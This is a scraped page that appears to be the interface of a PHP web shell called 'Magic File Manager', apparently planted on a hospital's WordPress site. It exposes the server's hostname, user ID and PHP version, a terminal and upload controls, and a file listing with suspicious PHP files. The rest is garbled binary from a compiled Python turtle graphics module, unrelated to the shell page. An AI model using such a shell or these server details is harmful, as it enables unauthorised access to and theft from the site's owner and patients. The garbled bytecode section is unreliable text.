✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log726.036 KB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
Ë â{|j»;ãó^—dZddlZddlZddlZddlZddlZddlZddlZddl m Z m Z m Z ddl mZddlmZgd¢Zgd¢Zgd¢Zd d gZeezezezd gzZgd ¢Zid d“dd“dd“dd“dd“dd“dd“dd“dd“dd“dd “d!d"“d#d"“d$d%“d&d'“d(d)“d*d+“d,d-d.d/œ¥Zd0„Zd1„Z ee«Gd3„d4e«Zd5„Zd6„Zd7Zdgd8„Z Gd9„d:ejB«Z"e e"ejFd;«Gd<„d=ejH«Z%ejFZ#Gd>„d?e&«Z'Gd@„d e«Z(GdA„dBe«Z)GdC„dDe&«Z*GdE„dFe&«Z+GdG„dHe'«Z,GdI„dJe&«Z-GdK„dLe&«Z.GdM„dNe&«Z/GdO„dPe.e-«Z0e0Z1dQ„Z2GdR„dSe,«Z3GdT„dUe0«Z4e4Z5dhdV„Z6dW„Z7ed(Z8 e8d)k7re7e8«dZ„Z:d[„Z;d\„Ze>ee3d_d`e<«e>ee4dadbe;«e?Z@eAdck(rdd„ZBde„ZCdf„ZDeC«eD«eE«yy#e$r ed2«Y�ŒdwxYw#e9$r edXe8«YŒqe$redYe8z«YŒ‚wxYw)ia� Turtle graphics is a popular way for introducing programming to kids. It was part of the original Logo programming language developed by Wally Feurzig and Seymour Papert in 1966. Imagine a robotic turtle starting at (0, 0) in the x-y plane. After an ``import turtle``, give it the command turtle.forward(15), and it moves (on-screen!) 15 pixels in the direction it is facing, drawing a line as it moves. Give it the command turtle.right(25), and it rotates in-place 25 degrees clockwise. By combining together these and similar commands, intricate shapes and pictures can easily be drawn. ----- turtle.py This module is an extended reimplementation of turtle.py from the Python standard distribution up to Python 2.5. (See: https://www.python.org) It tries to keep the merits of turtle.py and to be (nearly) 100% compatible with it. This means in the first place to enable the learning programmer to use all the commands, classes and methods interactively when using the module from within IDLE run with the -n switch. Roughly it has the following features added: - Better animation of the turtle movements, especially of turning the turtle. So the turtles can more easily be used as a visual feedback instrument by the (beginning) programmer. - Different turtle shapes, gif-images as turtle shapes, user defined and user controllable turtle shapes, among them compound (multicolored) shapes. Turtle shapes can be stretched and tilted, which makes turtles very versatile geometrical objects. - Fine control over turtle movement and screen updates via delay(), and enhanced tracer() and speed() methods. - Aliases for the most commonly used commands, like fd for forward etc., following the early Logo traditions. This reduces the boring work of typing long sequences of commands, which often occur in a natural way when kids try to program fancy pictures on their first encounter with turtle graphics. - Turtles now have an undo()-method with configurable undo-buffer. - Some simple commands/methods for creating event driven programs (mouse-, key-, timer-events). Especially useful for programming games. - A scrollable Canvas class. The default scrollable Canvas can be extended interactively as needed while playing around with the turtle(s). - A TurtleScreen class with methods controlling background color or background image, window and canvas size and other properties of the TurtleScreen. - There is a method, setworldcoordinates(), to install a user defined coordinate-system for the TurtleScreen. - The implementation uses a 2-vector class named Vec2D, derived from tuple. This class is public, so it can be imported by the application programmer, which makes certain types of computations very natural and compact. - Appearance of the TurtleScreen and the Turtles at startup/import can be configured by means of a turtle.cfg configuration file. The default configuration mimics the appearance of the old turtle module. - If configured appropriately the module reads in docstrings from a docstring dictionary in some different language, supplied separately and replaces the English ones by those read in. There is a utility function write_docstringdict() to write a dictionary with the original (English) docstrings to disc, so it can serve as a template for translations. Behind the scenes there are some features included with possible extensions in mind. These will be commented and documented elsewhere. éN)ÚisfileÚsplitÚjoin)Údeepcopy)Ú simpledialog) ÚScrolledCanvasÚ TurtleScreenÚScreenÚ RawTurtleÚTurtleÚRawPenÚPenÚShapeÚVec2D)ÚaddshapeÚbgcolorÚbgpicÚbyeÚ clearscreenÚ colormodeÚdelayÚ exitonclickÚ getcanvasÚ getshapesÚlistenÚmainloopÚmodeÚnuminputÚonkeyÚ onkeypressÚ onkeyreleaseÚ onscreenclickÚontimerÚregister_shapeÚ resetscreenÚ screensizeÚsetupÚsetworldcoordinatesÚ textinputÚtitleÚtracerÚturtlesÚupdateÚ window_heightÚ window_width)PÚbackÚbackwardÚ begin_fillÚ begin_polyÚbkÚcircleÚclearÚ clearstampÚ clearstampsÚcloneÚcolorÚdegreesÚdistanceÚdotÚdownÚend_fillÚend_polyÚfdÚ fillcolorÚfillingÚforwardÚget_polyÚgetpenÚ getscreenÚ get_shapepolyÚ getturtleÚgotoÚheadingÚ hideturtleÚhomeÚhtÚisdownÚ isvisibleÚleftÚltÚonclickÚondragÚ onreleaseÚpdÚpenÚpencolorÚpendownÚpensizeÚpenupÚposÚpositionÚpuÚradiansÚrightÚresetÚ resizemodeÚrtÚsethÚ setheadingÚsetposÚ setpositionÚ settiltangleÚ setundobufferÚsetxÚsetyÚshapeÚ shapesizeÚshapetransformÚ shearfactorÚ showturtleÚspeedÚstÚstampÚteleportÚtiltÚ tiltangleÚtowardsÚ turtlesizeÚundoÚundobufferentriesÚupÚwidthÚwriteÚxcorÚycorÚwrite_docstringdictÚdoneÚ Terminator)rr1r4rArNrRrVr\r^rcrdrfrgrrrxr{r|r|çà?Úheightgè?Ú canvwidthi�Ú canvheighti,Ú leftrightÚ topbottomrÚstandardrçð?ré ÚundobuffersizeièrlÚclassicrXÚblackrBrbÚnoresizeÚvisibleTÚlanguageÚenglishÚ exampleturtleÚturtleÚscreenzPython Turtle GraphicsF)Ú examplescreenr*Ú using_IDLEcóì—t|d«5}|j«}ddd«i}D]Œ}|j«}|r|jd«rŒ' |j d«\}}|j«}|j«}|dvr t|«}n d|vr t|«}n t|«}|||<ŒŽ|S#1swYŒžxYw#t $rt d|›d|›�«YŒ¹wxYw#t $rYŒ@wxYw) z/Convert content of config-file into dictionary.ÚrNÚ#Ú=zBad line in config-file z: )ÚTrueÚFalseÚNonez''z""Ú.) ÚopenÚ readlinesÚstripÚ startswithrÚ ValueErrorÚprintÚevalÚfloatÚint)ÚfilenameÚfÚcfglinesÚcfgdictÚlineÚkeyÚvalues ú/usr/lib64/python3.12/turtle.pyÚ config_dictr±¦sõ€ä ˆh˜Ô  Ø—;‘;“=ˆ÷ à€GÛˆØ�z‰z‹|ˆÙ�t—‘ sÔ+Ø ð ØŸ™ C›‰JˆC�ð�i‰i‹kˆØ— ‘ “ ˆØ Ð9Ñ 9ܘ“K‰Eð Ø˜%‘<Ü! %›L‘Eä ›J�Eðˆ�Š ð+ð, €N÷3 Ð ûôò Ý ²xÁÐEÔ FÙ ð ûôò Ùð ús/�B;ÁCÂC'Â;CÃC$Ã#C$Ã' C3Ã2C3có4—d}i}i}t|«r t|«}d|vrd|dz} tt«\}}t ||«}t|«r t|«}t j|«t j|«y#t $rd}YŒNwxYw)a@Read config-files, change configuration-dict accordingly. If there is a turtle.cfg file in the current working directory, read it from there. If this contains an importconfig-value, say 'myway', construct filename turtle_mayway.cfg else use turtle.cfg and read it from the import-directory, where turtle.py is located. Update configuration dictionary first according to config-file, in the import directory, then according to config-file in the current working directory. If no config-file is found, the default configuration is used. z turtle.cfgÚ importconfigz turtle_%s.cfgÚN)rr±rÚ__file__rÚ ExceptionÚ_CFGr-)r¬Ú default_cfgÚcfgdict1Úcfgdict2ÚheadÚtailÚ cfg_file2s r°Ú readconfigr¾Ãsœ€ð€KØ€HØ€HÜ ˆkÔܘ{Ó+ˆØ˜Ñ!Ø%¨°Ñ(@Ñ@ˆ ðÜœ8“_‰ ˆˆdܘ˜{Ó+ˆ ôˆiÔܘyÓ)ˆÜ‡K�K�Ô܇K�K�Õøô òØŠ ðúsªB  BÂBz"No configfile read, reason unknowncóL—eZdZdZd„Zd„Zd„Zd„Zd„Zd„Z d„Z d „Z d „Z d „Z y ) ra¯A 2 dimensional vector class, used as a helper class for implementing turtle graphics. May be useful for turtle graphics programs also. Derived from tuple, so a vector is a tuple! Provides (for a, b vectors, k number): a+b vector addition a-b vector subtraction a*b inner product k*a and a*k multiplication with scalar |a| absolute value of a a.rotate(angle) rotation có2—tj|||f«S©N)ÚtupleÚ__new__)ÚclsÚxÚys r°rÃz Vec2D.__new__õs€Ü�}‰}˜S 1 a &Ó)Ð)ócó>—t|d|dz|d|dz«S©Nré©r©ÚselfÚothers r°Ú__add__z Vec2D.__add__÷ó)€Ü�T˜!‘W˜U 1™XÑ% t¨A¡w¨u°Q©xÑ'7Ó8Ð8rÇcó€—t|t«r|d|dz|d|dzzSt|d|z|d|z«SrÉ)Ú isinstancerrÌs r°Ú__mul__z Vec2D.__mul__ùsN€Ü �eœUÔ #ؘ‘7˜5 ™8Ñ# D¨¡G¨E°!©HÑ$4Ñ4Ð 4Ü�T˜!‘W˜U‘] D¨¡G¨E¡MÓ2Ð2rÇcó~—t|t«st|t«rt|d|z|d|z«StSrÉ)rÒr¨r§rÚNotImplementedrÌs r°Ú__rmul__zVec2D.__rmul__ýs8€Ü �eœSÔ !¤Z°´uÔ%=ܘ˜a™ ™¨¨Q©°© Ó6Ð 6ÜÐrÇcó>—t|d|dz |d|dz «SrÉrËrÌs r°Ú__sub__z Vec2D.__sub__rÐrÇcó*—t|d |d «SrÉrË©rÍs r°Ú__neg__z Vec2D.__neg__s€Ü�d˜1‘g�X  Q¡˜xÓ(Ð(rÇcó&—tj|ŽSrÁ)ÚmathÚhypotrÚs r°Ú__abs__z Vec2D.__abs__s€Ü�z‰z˜4Ð Ð rÇcóú—t|d |d«}tj|«}tj|«tj|«}}t|d|z|d|zz|d|z|d|zz«S)z.rotate self counterclockwise by angle rÊr)rrÝr_ÚcosÚsin)rÍÚangleÚperpÚcÚss r°Úrotatez Vec2D.rotatesx€ô�d˜1‘g�X˜t A™wÓ'ˆÜ— ‘ ˜UÓ#ˆÜ�x‰x˜‹¤§¡¨£ˆ1ˆÜ�T˜!‘W˜Q‘Y˜t A™w q™yÑ(¨$¨q©'°!©)°D¸±G¸A±IÑ*=Ó>Ð>rÇcó—|d|dfSrÉ©rÚs r°Ú__getnewargs__zVec2D.__getnewargs__s€Ø�Q‘˜˜a™Ð!Ð!rÇcó —d|zS)Nz (%.2f,%.2f)rérÚs r°Ú__repr__zVec2D.__repr__s €Ø˜tÑ#Ð#rÇN)Ú__name__Ú __module__Ú __qualname__Ú__doc__rÃrÏrÓrÖrØrÛrßrçrêrìrérÇr°rrçs9„ñ ò*ò9ò3òò9ò)ò!ò?ò"ó$rÇrcóü—t|j«}|j«|D]}t||«Œ|jj «D]'\}}t |«tjk(sŒ#|||<Œ)y)ú#helper function for Scrolled CanvasN) ÚlistÚ __bases__ÚreverseÚ __methodDictÚ__dict__ÚitemsÚtypeÚtypesÚ FunctionType)rÄÚ_dictÚbaseListÚ_superr®r¯s r°rörösf€ä�C—M‘MÓ"€HØ ×ÑÔÛˆÜ�V˜UÕ#ðà—l‘l×(Ñ(Ö*‰ ˆˆUÜ �‹;œ%×,Ñ,Ó ,؈E�#ŠJñ+rÇcó>—i}t||«|j«S)rò)röÚkeys)rÄrüs r°Ú __methodsr&s€à €EÜ��eÔØ �:‰:‹<ÐrÇzTdef %(method)s(self, *args, **kw): return self.%(attribute)s.%(method)s(*args, **kw)cóP—i}t||«i}t|«}|j«D]#}|dddk(s|dddk(s||vs||vrŒ||||<Œ%|j«D]B\}} || dœ} t |t «r t ||dœz} t | «t||| |«ŒDy)NrÊÚ_éÿÿÿÿ)ÚmethodÚfunc)rÚ attribute) rörrrørÒÚstrÚ __stringBodyÚexecÚsetattr) Ú fromClassÚtoClassÚtoPartÚexcludeÚ_dict_1rüÚmfcÚexrrÚdÚ execStrings r°Ú__forwardmethodsr0s»€à€GÜ�˜'Ô"Ø €EÜ �IÓ €CØ�l‰lŽnˆØ ˆbˆqˆ6�SŠ=˜B˜r˜s˜G sšN¨b°G©m¸rÀS¹yØ à ™ ˆE�"ŠIð ð Ÿ ™ ž ‰ ˆ�Ø tÑ ,ˆÜ �fœcÔ "ä¨6ÀÑHÑHð ä ˆZ˜ÔÜ� ˜6 1 V¡9Õ-ñ &rÇcóT—eZdZdZ d d„Zdd„Zd„Zd„Zd„Zd„Z d „Z d „Z d „Z d „Z y)rzÄModeled after the scrolled canvas class from Grayons's Tkinter book. Used as the default canvas, which pops up automatically when using turtle graphics functions or the Turtle class. c ó$—tjj||||¬«|j«|_||c|_|_||c|_|_d|_ tj||||jtjd¬«|_ tj||jjtj¬«|_tj||jj"¬«|_|jj'|j j(|j$j(¬«|j+dd d¬ «|j-dd d¬ «|jj/d |d ddd d d ¬ «|j$j/d |d dd d d d ¬ «|j j/d |d d dd d d ¬ «|j1«|jj3d |j4«y)N)r|r„Úwhiteé)r|r„ÚbgÚreliefÚ borderwidth)ÚcommandÚorient)r)ÚxscrollcommandÚyscrollcommandrrÊ)ÚweightÚminsizeÚnews©ÚpadxÚin_ÚpadyÚrowÚcolumnÚrowspanÚ columnspanÚstickyz )ÚTKÚFrameÚ__init__Úwinfo_toplevelÚ _rootwindowr|r„r…r†rÚCanvasÚSUNKENÚ_canvasÚ ScrollbarÚxviewÚ HORIZONTALÚhscrollÚyviewÚvscrollÚ configureÚsetÚ rowconfigureÚcolumnconfigureÚgridraÚbindÚonResize)rÍÚmasterr|r„r…r†s r°r/zScrolledCanvas.__init__Ksµ€ä �‰×ј$ ¨e¸FÐÔCØ×.Ñ.Ó0ˆÔØ"'¨ÐˆŒ �D”KØ*3°ZÐ'ˆŒ˜œØˆŒÜ—y‘y ¨u¸VØ$(§G¡G´B·I±IÈ1ôNˆŒ ä—|‘| F°D·L±L×4FÑ4FÜ+-¯=©=ô:ˆŒ ä—|‘| F°D·L±L×4FÑ4FÔGˆŒ Ø � ‰ ×Ѩd¯l©l×.>Ñ.>Ø.2¯l©l×.>Ñ.>ð ô @à ×ј! A¨qÐÔ1Ø ×јQ q°!ÐÔ4Ø � ‰ ×јq¨°1¸!Ø !°¸&ð ô Bà � ‰ ×јq¨°1¸!Ø !°¸&ð ô Bà � ‰ ×јq¨°1¸!Ø !°¸&ð ô Bà � ‰ Œ Ø ×Ñ×јm¨T¯]©]Õ;rÇNcó—|r||_|r||_|r||_|jj ||j dz|j dz|jdz|jdzf¬«|jj d|j|j z dzz|jz «|jjd|j|jz dzz|jz «|j«y)zB¿o¹oñ#Nô Oà ×ÑÕrÇc ó~—|jj«}|jj«}|jjd|j|z z|jz «|jj d|j |z z|j z «||jks||j krG|jjd|dddddd¬«|jjd|dddddd¬«y|jj«|jj«y)zA Adjust scrollbars according to window- and canvas-size. rƒrÊrr#r$N) r4Ú winfo_widthÚ winfo_heightrGr…rHr†r8r?r:Ú grid_forget)rÍÚcwidthÚcheights r°rIzScrolledCanvas.adjustScrollsvs€ð—‘×)Ñ)Ó+ˆØ—,‘,×+Ñ+Ó-ˆØ � ‰ ×!Ñ! # t§~¡~°fÑ'<Ñ"=¸d¿n¹nÑ"LÔMØ � ‰ ×!Ñ! # t§¡°wÑ'>Ñ"?ÀÇÁÑ"OÔPØ �D—N‘NÒ " g°·±Ò&?Ø �L‰L× Ñ  1¨D°q¸aØ%&°¸aÈð ô Pà �L‰L× Ñ  1¨D°q¸aØ%&°¸aÈð õ Pð �L‰L× $Ñ $Ô &Ø �L‰L× $Ñ $Õ &rÇcó$—|j«y)zself-explanatoryN)rI)rÍÚevents r°rAzScrolledCanvas.onResize†s€à ×ÑÕrÇcó4—|jj|ŽS©ú@ 'forward' method, which canvas itself has inherited... )r4Úbbox©rÍÚargss r°rVzScrolledCanvas.bboxŠs€ð!ˆt�|‰|× Ñ  $Ð'Ð'rÇcó:—|jj|i|¤ŽSrT)r4Úcget©rÍrXÚkwargss r°rZzScrolledCanvas.cget�s €ð!ˆt�|‰|× Ñ  $Ð1¨&Ñ1Ð1rÇcó<—|jj|i|¤Žy©rUN)r4rFr[s r°rFzScrolledCanvas.config”ó€ð ˆ� ‰ ×јTÐ, VÓ,rÇcó<—|jj|i|¤Žyr^)r4r@r[s r°r@zScrolledCanvas.bind™s€ð ˆ� ‰ ×ј4Ð* 6Ó*rÇcó<—|jj|i|¤Žyr^)r4Úunbindr[s r°rbzScrolledCanvas.unbindžr_rÇcó8—|jj«yr^)r4Ú focus_forcerÚs r°rdzScrolledCanvas.focus_force£s€ð � ‰ × Ñ Õ"rÇ)éôi^iXre©NNN)rírîrïrðr/rarIrArVrZrFr@rbrdrérÇr°rrEsA„ñð 25ØDGó<ó2ò$'ò ò(ò 2ò -ò +ò -ó #rÇrr4có:—eZdZdZd„Zd„Zd„Zd„Zd„Zd„Z d„Z y ) Ú_Rootz'Root class for Screen based on Tkinter.cóB—tjj|«yrÁ)r-ÚTkr/rÚs r°r/z_Root.__init__­s€Ü �‰�‰�tÕrÇcóf—t|||||«|_|jjdd¬«y)NrÊÚboth)ÚexpandÚfill)rr4Úpack)rÍr|r„rOrPs r°Ú setupcanvasz_Root.setupcanvas°s-€Ü% d¨E°6¸6À7ÓKˆŒ Ø � ‰ ×Ñ ¨ÐÕ0rÇcó—|jSrÁ)r4rÚs r°Ú _getcanvasz_Root._getcanvas´s €Ø�|‰|ÐrÇcó4—|jd||||fz«y)Nz %dx%d%+d%+d)Úgeometry)rÍr|r„ÚstartxÚstartys r°Ú set_geometryz_Root.set_geometry·s€Ø � ‰ �m U¨F°F¸FÐ$CÑCÕDrÇcó(—|jd|«y)NÚWM_DELETE_WINDOW)Ú wm_protocol)rÍÚdestroys r°Ú ondestroyz_Root.ondestroyºs€Ø ×ÑÐ+¨WÕ5rÇcó"—|j«SrÁ)Úwinfo_screenwidthrÚs r°Ú win_widthz_Root.win_width½s€Ø×%Ñ%Ó'Ð'rÇcó"—|j«SrÁ)Úwinfo_screenheightrÚs r°Ú win_heightz_Root.win_heightÀs€Ø×&Ñ&Ó(Ð(rÇN) rírîrïrðr/rprrrwr|rr‚rérÇr°rhrh«s)„Ù1òò1òòEò6ò(ó)rÇrhcóò—eZdZdZd„Zd„Zd„Zd„Z d$d„Zd„Z d$d „Z d „Z d „Z d „Z d „Zd%d„Zd„Zd&d„Zd&d„Zd&d„Zd&d„Zd„Zd%d„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd'd„Z d „Z!d!„Z"d"„Z#d'd#„Z$y)(ÚTurtleScreenBasezàProvide the basic graphics functionality. Interface between Tkinter and turtle.py. To port turtle.py to some different graphics toolkit a corresponding TurtleScreenBase class has to be implemented. cój—tjdd|j¬«}|j«|S)z$return a blank image object rÊ)r|r„rB)r-Ú PhotoImageÚcvÚblank)rÍÚimgs r°Ú _blankimagezTurtleScreenBase._blankimageÎs(€ô�m‰m !¨A°d·g±gÔ>ˆØ � ‰ Œ ؈ rÇcóD—tj||j¬«S)z`return an image object containing the imagedata from a gif-file named filename. )ÚfilerB)r-r†r‡)rÍr©s r°Ú_imagezTurtleScreenBase._imageÕs€ô�}‰} (°4·7±7Ô;Ð;rÇcó°—||_t|t«r-|jj}|jj}nvt |jj d««}t |jj d««}|jj| dz| dz|dz|dzf¬«||_||_dx|_|_ y)Nr|r„r©rDrŠ) r‡rÒrr…r†r¨rZrFÚxscaleÚyscale)rÍr‡ÚwÚhs r°r/zTurtleScreenBase.__init__Ûsª€ØˆŒÜ �bœ.Ô )Ø—‘×!Ñ!ˆAØ—‘×"Ñ"‰Aä�D—G‘G—L‘L Ó)Ó*ˆAÜ�D—G‘G—L‘L Ó*Ó+ˆAØ �G‰G�N‰N¨A¨2¨q©5°1°"°a±%¸¸A¹¸qÀ!¹tÐ*EˆNÔ F؈ŒØˆŒØ$'Ð'ˆŒ �d•krÇcó>—|jjddd¬«S)zcóâ•—‰jj|j«‰jz ‰jj |j « ‰j z }}‰||«yrÁ©r‡ÚcanvasxrÅr�ÚcanvasyrÆr‘©rRrÅrÆÚfunrÍs €€r°Úeventfunz+TurtleScreenBase._onclick..eventfun\óPø€ØŸ™Ÿ™¨¯©Ó0°·±Ñ<ØŸ™Ÿ™¨¯©Ó1Ð1°$·+±+Ñ=ð�á�A�q• rÇ©r‡Ú tag_unbindÚtag_bind©rÍr±r×ÚnumÚaddrØs` ` r°Ú_onclickzTurtleScreenBase._onclickSsGù€ð ˆ;Ø �G‰G× Ñ ˜t ]°SÑ%8Õ 9õ ð �G‰G× Ñ ˜T =°3Ñ#6¸À#Õ FrÇc󚇇—‰€ ‰jj|d|z«yˆˆfd„}‰jj|d|z||«y)agBind fun to mouse-button-release event on turtle. fun must be a function with two arguments, the coordinates of the point on the canvas where mouse button is released. num, the number of the mouse-button defaults to 1 If a turtle is clicked, first _onclick-event will be performed, then _onscreensclick-event. Nzcóâ•—‰jj|j«‰jz ‰jj |j « ‰j z }}‰||«yrÁrÓrÖs €€r°rØz-TurtleScreenBase._onrelease..eventfunnrÙrÇrÚrÝs` ` r°Ú _onreleasezTurtleScreenBase._onreleasebsLù€ð ˆ;Ø �G‰G× Ñ ˜tÐ%?À#Ñ%EÕ Fõ ð �G‰G× Ñ ˜TÐ#=ÀÑ#CØ% sõ ,rÇc󚇇—‰€ ‰jj|d|z«yˆˆfd„}‰jj|d|z||«y)aqBind fun to mouse-move-event (with pressed mouse button) on turtle. fun must be a function with two arguments, the coordinates of the actual mouse position on the canvas. num, the number of the mouse-button defaults to 1 Every sequence of mouse-move-events on a turtle is preceded by a mouse-click event on that turtle. Nzcó•— ‰jj|j«‰jz ‰jj |j « ‰j z }}‰||«y#t$rYywxYwrÁ)r‡rÔrÅr�rÕrÆr‘r¶rÖs €€r°rØz*TurtleScreenBase._ondrag..eventfun�sgø€ðØ ŸG™GŸO™O¨E¯G©GÓ4°T·[±[Ñ@Ø ŸG™GŸO™O¨E¯G©GÓ4Ð4°T·[±[Ñ@ð�Aᘘ1•IøÜ òÙðúsƒA.A2Á2 A>Á=A>rÚrÝs` ` r°Ú_ondragzTurtleScreenBase._ondragusIù€ð ˆ;Ø �G‰G× Ñ ˜tÐ%8¸3Ñ%>Õ ?õ ð �G‰G× Ñ ˜TÐ#6¸Ñ#<¸hÈÕ LrÇc󖇇—‰€‰jjd|z«yˆˆfd„}‰jjd|z||«y)aGBind fun to mouse-click event on canvas. fun must be a function with two arguments, the coordinates of the clicked point on the canvas. num, the number of the mouse-button defaults to 1 If a turtle is clicked, first _onclick-event will be performed, then _onscreensclick-event. NrÑcóâ•—‰jj|j«‰jz ‰jj |j « ‰j z }}‰||«yrÁrÓrÖs €€r°rØz1TurtleScreenBase._onscreenclick..eventfun–rÙrÇ©r‡rbr@)rÍr×rÞrßrØs`` r°Ú_onscreenclickzTurtleScreenBase._onscreenclickŠs?ù€ð ˆ;Ø �G‰G�N‰N˜=¨3Ñ.Õ /õ ð �G‰G�L‰L˜¨Ñ,¨h¸Õ có•—‰«yrÁré©rRr×s €r°rØz0TurtleScreenBase._onkeyrelease..eventfun£óø€Ù•rÇré©rÍr×r®rØs ` r°Ú _onkeyreleasezTurtleScreenBase._onkeyreleaseœs?ø€ð ˆ;Ø �G‰G�N‰NÐ,¨sÑ2°DÕ 9ô à �G‰G�L‰LÐ*¨SÑ0°(Õ ;rÇcó‡—‰€?|€|jjdd«y|jjd|zd«yˆfd„}|€|jjd|«y|jjd|z|«y)z�If key is given, bind fun to key-press event of key. Otherwise bind fun to any key-press. Canvas must have focus. See method listen. Nz z có•—‰«yrÁrérís €r°rØz.TurtleScreenBase._onkeypress..eventfun²rîrÇrérïs ` r°Ú _onkeypresszTurtleScreenBase._onkeypress§skø€ð ˆ;؈{Ø—‘—‘˜|¨TÕ2à—‘—‘˜°Ñ4°dÕ;ô àˆ{Ø—‘— ‘ ˜\¨8Õ4à—‘— ‘ ˜_¨sÑ2°HÕ=rÇcó8—|jj«y)z=Set focus on canvas (in order to collect key-events) N)r‡rdrÚs r°Ú_listenzTurtleScreenBase._listen¹s€ð �‰×ÑÕrÇcó~—|dk(r|jj|«y|jj||«y)z?Install a timer, which calls fun after t milliseconds. rN)r‡Ú after_idler¶©rÍr×Úts r°Ú_ontimerzTurtleScreenBase._ontimer¾s/€ð �Š6Ø �G‰G× Ñ ˜sÕ #à �G‰G�M‰M˜!˜SÕ !rÇcó>—|jjdd|¬«S)z0Create and return image item on canvas. r©Úimage)r‡Ú create_image)rÍrýs r°Ú _createimagezTurtleScreenBase._createimageÆs €ð�w‰w×#Ñ# A q°Ð#Ó6Ð6rÇcóº—|\}}|jj|||jz| |jzf«|jj ||¬«y)zZConfigure image item as to draw image object at position (x,y) on canvas) rüN)r‡ržr�r‘Ú itemconfig)rÍr±r\rýrÅrÆs r°Ú _drawimagezTurtleScreenBase._drawimageËsN€ð‰ˆˆ1Ø �‰�‰�t˜a $§+¡+™o°¨r°D·K±KÑ/?Ð@ÔAØ �‰×ј4 uÐÕ-rÇcót—|jj||¬«|jj|«y)z³Configure image item as to draw image object at center of canvas. Set item to the first item in the displaylist, so it will be drawn below any other item .rüN)r‡rÚ tag_lower)rÍr±rýs r°Ú _setbgpiczTurtleScreenBase._setbgpicÓs-€ð �‰×ј4 uÐÔ-Ø �‰×ј$ÕrÇcó8—|jj|«S)zQReturn 'line' or 'polygon' or 'image' depending on type of item. )r‡rùr°s r°Ú_typezTurtleScreenBase._typeÛs€ð�w‰w�|‰|˜DÓ!Ð!rÇcó¤—|jj|«}tdt|«d«D�cgc]}||||dz f‘Œ}}|Scc}w)a returns list of coordinate-pairs of points of item Example (for insiders): >>> from turtle import * >>> getscreen()._pointlist(getturtle().turtle._item) [(0.0, 9.9999999999999982), (0.0, -9.9999999999999982), (9.9999999999999982, 0.0)] >>> rrrÊ)r‡ržÚrangeÚlen)rÍr±r¤ÚiÚpls r°Ú _pointlistzTurtleScreenBase._pointlistásV€ð�W‰W�^‰^˜DÓ !ˆÜ).¨q´#°b³'¸1Ô)=Ó >Ñ)= Aˆr�!‰u�r˜!˜A™#‘w�hÒÐ)=ˆÐ >؈ ùò?s´A cóD—|jj||||f¬«y)Nr�)r‡rF)rÍÚsrx1Úsry1Úsrx2Úsry2s r°Ú_setscrollregionz!TurtleScreenBase._setscrollregionís€Ø �‰�‰ T¨4°°tÐ$<ˆÕ=rÇcó@—|jj«}|D]}t|jj|««}g}|r8|dd\}}|j ||z«|j ||z«|dd}|rŒ8|jj|g|¢­ŽŒ�y)Nr)r‡Úfind_allróržr�) rÍÚ xscalefactorÚ yscalefactorrør±Ú coordinatesÚ newcoordlistrÅrÆs r°Ú_rescalezTurtleScreenBase._rescaleðs›€Ø—‘× Ñ Ó"ˆÛˆDܘtŸw™wŸ~™~¨dÓ3Ó4ˆK؈LÙØ" 2 A�‘��1Ø×#Ñ# A¨ Ñ$4Ô5Ø×#Ñ# A¨ Ñ$4Ô5Ø)¨!¨"˜o� ò ð ˆD�G‰G�N‰N˜4Ð / ,Ô /ñrÇcó<—t|jt«s|j|jfS||cxur|cxur€/nn,|jj|jjfS|�||_|�||_|jj |||«y)zaResize the canvas the turtles are drawing on. Does not alter the drawing window. N)rÒr‡rr…r†rarJs r°Ú_resizezTurtleScreenBase._resizeüs€ô ˜$Ÿ'™'¤>Ô2Ø—>‘> 4§?¡?Ð2Ð 2Ø ˜ Ó 0 b× 0Ø—7‘7×$Ñ$ d§g¡g×&8Ñ&8Ð8Ð 8Ø Ð Ø&ˆDŒNØ Ð !Ø(ˆDŒOØ �‰� ‰ �i ¨RÕ0rÇcó—|jj«}|dkr|jd}|jj«}|dkr|jd}||fS)z; Return the width and height of the turtle window. rÊr|r„)r‡rLrM)rÍr|r„s r°Ú _window_sizezTurtleScreenBase._window_size s\€ð—‘×#Ñ#Ó%ˆØ �AŠ:Ø—G‘G˜GÑ$ˆEØ—‘×%Ñ%Ó'ˆØ �QŠ;Ø—W‘W˜XÑ&ˆFØ�fˆ}ÐrÇcóL—|jjj«y)a{Starts event loop - calling Tkinter's mainloop function. No argument. Must be last statement in a turtle graphics program. Must NOT be used if a script is run from within IDLE in -n mode (No subprocess) - for interactive use of turtle graphics. Example (for a TurtleScreen instance named screen): >>> screen.mainloop() N)r‡ÚtkrrÚs r°rzTurtleScreenBase.mainloops€ð �‰� ‰ ×ÑÕrÇcóF—tj|||j¬«S)a…Pop up a dialog window for input of a string. Arguments: title is the title of the dialog window, prompt is a text mostly describing what information to input. Return the string input If the dialog is canceled, return None. 